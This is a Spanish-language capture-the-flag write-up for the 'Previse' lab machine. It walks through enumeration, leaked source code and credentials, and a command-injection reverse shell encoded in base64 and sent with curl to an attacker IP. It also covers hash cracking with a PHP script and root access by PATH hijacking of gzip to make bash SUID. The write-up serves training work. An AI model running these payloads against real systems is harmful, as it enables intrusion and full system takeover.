Previse
9 minutos de lectura
- SO: Linux
- Dificultad: Fácil
- Dirección IP: 10.10.11.104
- Fecha: 07 / 08 / 2021
Escaneo de puertos
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.104 -p 22,80
Nmap scan report for 10.10.11.104
Host is up (0.047s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
| 256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_ 256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Previse Login
|_Requested resource was login.php
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 58.91 seconds
La máquina tiene abiertos los puertos 22 (SSH) y 80 (HTTP).
Enumeración
Si vamos a http://10.10.11.104
, el servidor nos redirige al formulario de inicio de sesión:
Vamos a aplicar fuzzing para enumerar más rutas. Podemos añadir extensiones .php
por si acaso:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://10.10.11.104/FUZZ -e .php
index.php [Status: 302, Size: 2801, Words: 737, Lines: 72]
download.php [Status: 302, Size: 0, Words: 1, Lines: 1]
login.php [Status: 200, Size: 2224, Words: 486, Lines: 54]
files.php [Status: 302, Size: 4914, Words: 1531, Lines: 113]
header.php [Status: 200, Size: 980, Words: 183, Lines: 21]
nav.php [Status: 200, Size: 1248, Words: 462, Lines: 32]
footer.php [Status: 200, Size: 217, Words: 10, Lines: 6]
css [Status: 301, Size: 310, Words: 20, Lines: 10]
status.php [Status: 302, Size: 2968, Words: 749, Lines: 75]
js [Status: 301>, Size: 309, Words: 20, Lines: 10]
logout.php [Status: 302, Size: 0, Words: 1, Lines: 1]
accounts.php [Status: 302, Size: 3994, Words: 1096, Lines: 94]
config.php [Status: 200, Size: 0, Words: 1, Lines: 1]
logs.php [Status: 302, Size: 0, Words: 1, Lines: 1]
Aquí vemos que hay muchos estados 302 (302 Found). Esto significa que el servidor está redirigiendo a /login.php
. Podemos decirle a ffuf
que siga las redirecciones con el parámetro -r
:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://10.10.11.104/FUZZ -e .php -r
index.php [Status: 200, Size: 2224, Words: 486, Lines: 54]
download.php [Status: 200, Size: 2224, Words: 486, Lines: 54]
login.php [Status: 200, Size: 2224, Words: 486, Lines: 54]
files.php [Status: 200, Size: 2224, Words: 486, Lines: 54]
header.php [Status: 200, Size: 980, Words: 183, Lines: 21]
nav.php [Status: 200, Size: 1248, Words: 462, Lines: 32]
footer.php [Status: 200, Size: 217, Words: 10, Lines: 6]
css [Status: 200, Size: 939, Words: 61, Lines: 17]
status.php [Status: 200, Size: 2224, Words: 486, Lines: 54]
js [Status: 200, Size: 1155, Words: 77, Lines: 18]
logout.php [Status: 200, Size: 2224, Words: 486, Lines: 54]
accounts.php [Status: 200, Size: 2224, Words: 486, Lines: 54]
config.php [Status: 200, Size: 0, Words: 1, Lines: 1]
logs.php [Status: 200, Size: 2224, Words: 486, Lines: 54]
Parece claro que el servidor está redirigiendo a /login.php
. La clave aquí es que las respuestas con código 302 tienen cuerpo. Esto se puede ver claramente desde Burp Suite:
Si renderizamos el contenido de la respuesta, podemos ver la página desde Burp Suite. El servidor habría seguido la redirección debido al estado 302.
Registrando una nueva cuenta
Utilizando Burp Suite, podemos interceptar peticiones y también respuestas. Podemos configurarlo para que modifique la respuesta automáticamente y que cambie el estado a 200 OK, de manera que el navegador no siga las redirecciones. Para ello, tenemos que ir a Proxy > Options > Match and Replace > Add y poner la siguiente configuración:
Así, podemos ver el contenido de la página web e incluso registrar una cuenta en /account.php
:
Una vez registrados, podemos iniciar sesión y olvidarnos ya de las redirecciones.
Analizando código PHP
Hay un archivo ZIP subido por el usuario newguy
:
Este contiene una copia de seguridad del código PHP del servidor:
$ unzip siteBackup.zip
$ tree
.
├── accounts.php
├── config.php
├── download.php
├── file_logs.php
├── files.php
├── footer.php
├── header.php
├── index.php
├── login.php
├── logout.php
├── logs.php
├── nav.php
├── siteBackup.zip
└── status.php
0 directories, 14 files
Acceso a la máquina
En el archivo config.php
encontramos unas credenciales de MySQL:
<?php
function connectDB() {
$host = 'localhost';
$user = 'root';
$passwd = 'mySQL_p@ssw0rd!:)';
$db = 'previse';
$mycon = new mysqli($host, $user, $passwd, $db);
return $mycon;
}
También vemos un método curioso de realizar el hash de las contraseñas en login.php
:
$users = $result->fetch_assoc();
$passHash = $users['password'];
if (crypt($password, '$1$🧂llol$') == $passHash) {
$result->free();
$_SESSION['user'] = $users['username'];
$result = $db->query($sql);
if (!$result) {
echo 'Oops! Something went wrong, try again later!';
}
$db->close();
header('Location: index.php');
} else {
echo '<div class="uk-alert-danger">Invalid Username or Password</div>';
}
Encontrando una inyección de comandos
Podemos también encontrar un archivo llamado logs.php
, que ejecuta un script de Python utilizando una llamada de sistema, con una entrada de usuario sin validación:
<?php
session_start();
if (!isset($_SESSION['user'])) {
header('Location: login.php');
exit;
}
if (!$_SERVER['REQUEST_METHOD'] == 'POST') {
header('Location: login.php');
exit;
}
/////////////////////////////////////////////////////////////////////////////////////
//I tried really hard to parse the log delims in PHP, but python was SO MUCH EASIER//
/////////////////////////////////////////////////////////////////////////////////////
$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
echo $output;
$filepath = "/var/www/out.log";
$filename = "out.log";
if (file_exists($filepath)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($filepath).'"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($filepath));
ob_clean(); // Discard data in the output buffer
flush(); // Flush system headers
readfile($filepath);
die();
} else {
http_response_code(404);
die();
}
La línea de código vulnerable es esta:
$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
Ya que podemos poner un punto y coma e inyectar otro comando. Por ejemplo, podemos conectarnos al servidor utilizando una reverse shell con nc
:
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
Para realizar esta petición desde curl
, es necesario añadir la cookie para mantener la sesión:
$ curl http://10.10.11.104/logs.php -d 'delim=comma; echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash' -H 'Cookie: PHPSESSID=952sbct7uf71fvi95m0p2gvmvi'
Y obtenemos una consola de comandos desde nc
:
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.104.
Ncat: Connection from 10.10.11.104:55204.
bash: cannot set terminal process group (1369): Inappropriate ioctl for device
bash: no job control in this shell
www-data@previse:/var/www/html$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@previse:/var/www/html$ ^Z
[1] + 70279 suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + 70279 continued ncat -nlvp 4444
reset xterm
www-data@previse:/var/www/html$ export TERM=xterm
www-data@previse:/var/www/html$ export SHELL=bash
www-data@previse:/var/www/html$ stty rows 50 columns 158
El proceso de registro de una nueva cuenta, acceder como nuevo usuario y realizar la petición con la inyección de comandos se automatizó en un programa en Go llamado foothold.go
(explicación detallada aquí).
Se puede ejecutar así:
$ go run foothold.go 10.10.17.44 4444
[+] Creating username: 'aBwbf8GZPk', with password: 'LqsgiuEoyV'
[*] Registration successful
[*] Login successful. Cookie: PHPSESSID=t19n77eh9qt1ui2unipsoa6j0b; path=/
[!] Sent reverse shell. Check your nc listener
Movimiento lateral al usuario m4lwhere
Ahora es momento de convertirse en el usuario m4lwhere
:
www-data@previse:/var/www/html$ ls /home
m4lwhere
Podemos utilizar las credenciales de MySQL encontradas en el archivo config.php
para conectarnos a la base de datos:
www-data@previse:/var/www/html$ mysql -u root --password='mySQL_p@ssw0rd!:)'
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| previse |
| sys |
+--------------------+
5 rows in set (0.01 sec)
mysql> use previse;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
+-------------------+
| Tables_in_previse |
+-------------------+
| accounts |
| files |
+-------------------+
2 rows in set (0.00 sec)
mysql> select * from accounts;
+-----+----------+----------------------------------+---------------------+
| id | username | password | created_at |
+-----+----------+----------------------------------+---------------------+
| 1 | m4lwhere | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. | 2021-05-27 18:18:36 |
| ... | ... | ... | ... |
+-----+----------+----------------------------------+---------------------+
3 rows in set (0.00 sec)
El hash que vemos es algo raro porque contiene un emoji en la parte de la sal del hash. Usar john
y hashcat
será complicado debido al formato. Aunque puede ser solucionado, lo más rápido es escribir un script en PHP y romper el hash utilizando el mismo procedimiento que se utiliza en el servidor (ver archivos accounts.php
o login.php
):
<?php
$passHash = '$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.';
if ($file = fopen('rockyou.txt', 'r')) {
while (!feof($file)) {
$password = fgets($file);
if (crypt(trim($password), '$1$🧂llol$') == $passHash) {
echo $password;
break;
}
}
fclose($file);
}
Y encontramos la contraseña:
$ php crack.php
ilovecody112235!
Ahora podemos conectarnos por SSH y conseguir la flag user.txt
:
$ ssh m4lwhere@10.10.11.104
m4lwhere@10.10.11.104's password:
m4lwhere@previse:~$ cat user.txt
ab438774e2b02effcf6d49753e5c8cb8
Escalada de privilegios
Este usuario puede ejecutar un script en Bash como root
mediante sudo
:
m4lwhere@previse:~$ sudo -l
[sudo] password for m4lwhere:
User m4lwhere may run the following commands on previse:
(root) /opt/scripts/access_backup.sh
m4lwhere@previse:~$ ls -l /opt/scripts/access_backup.sh
-rwxr-xr-x 1 root root 486 Jun 6 12:49 /opt/scripts/access_backup.sh
m4lwhere@previse:~$ cat /opt/scripts/access_backup.sh
#!/bin/bash
# We always make sure to store logs, we take security SERIOUSLY here
# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time
gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz
Explotación de PATH
hijacking
No tenemos permisos para modificar el archivo. Sin embargo, el comando gzip
se está ejecutando con una ruta relativa (al igual que date
). Esto es vulnerable a PATH
hijacking porque no hay secure_path
en la salida de sudo -l
.
Primero, creamos nuestro propio comando gzip
en /tmp
, como un script de Bash que pone /bin/bash
como binario SUID:
m4lwhere@previse:/tmp$ echo -e '#!/bin/bash\nchmod u+s /bin/bash' > gzip
m4lwhere@previse:/tmp$ chmod +x gzip
m4lwhere@previse:/tmp$ cat gzip
#!/bin/bash
chmod u+s /bin/bash
Ahora, añadimos /tmp
al principio de la variable de entorno PATH
, de manera que se encuentre primero el comando malicioso gzip
antes que el legítimo:
m4lwhere@previse:/tmp$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
m4lwhere@previse:/tmp$ export PATH=/tmp:$PATH
m4lwhere@previse:/tmp$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
m4lwhere@previse:/tmp$ which gzip
/tmp/gzip
Y finalmente, podemos ejecutar el script de Bash con permisos de root
, de manera que /bin/bash
se convierte en un binario SUID:
m4lwhere@previse:/tmp$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1113504 Jun 6 2019 /bin/bash
m4lwhere@previse:/tmp$ sudo /opt/scripts/access_backup.sh
m4lwhere@previse:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1113504 Jun 6 2019 /bin/bash
Y finalmente, conseguimos acceder como root
y leer la flag root.txt
:
m4lwhere@previse:/tmp$ bash -p
bash-4.4# cat /root/root.txt
3b2115c0ed9ca779182d6d777b1ed40a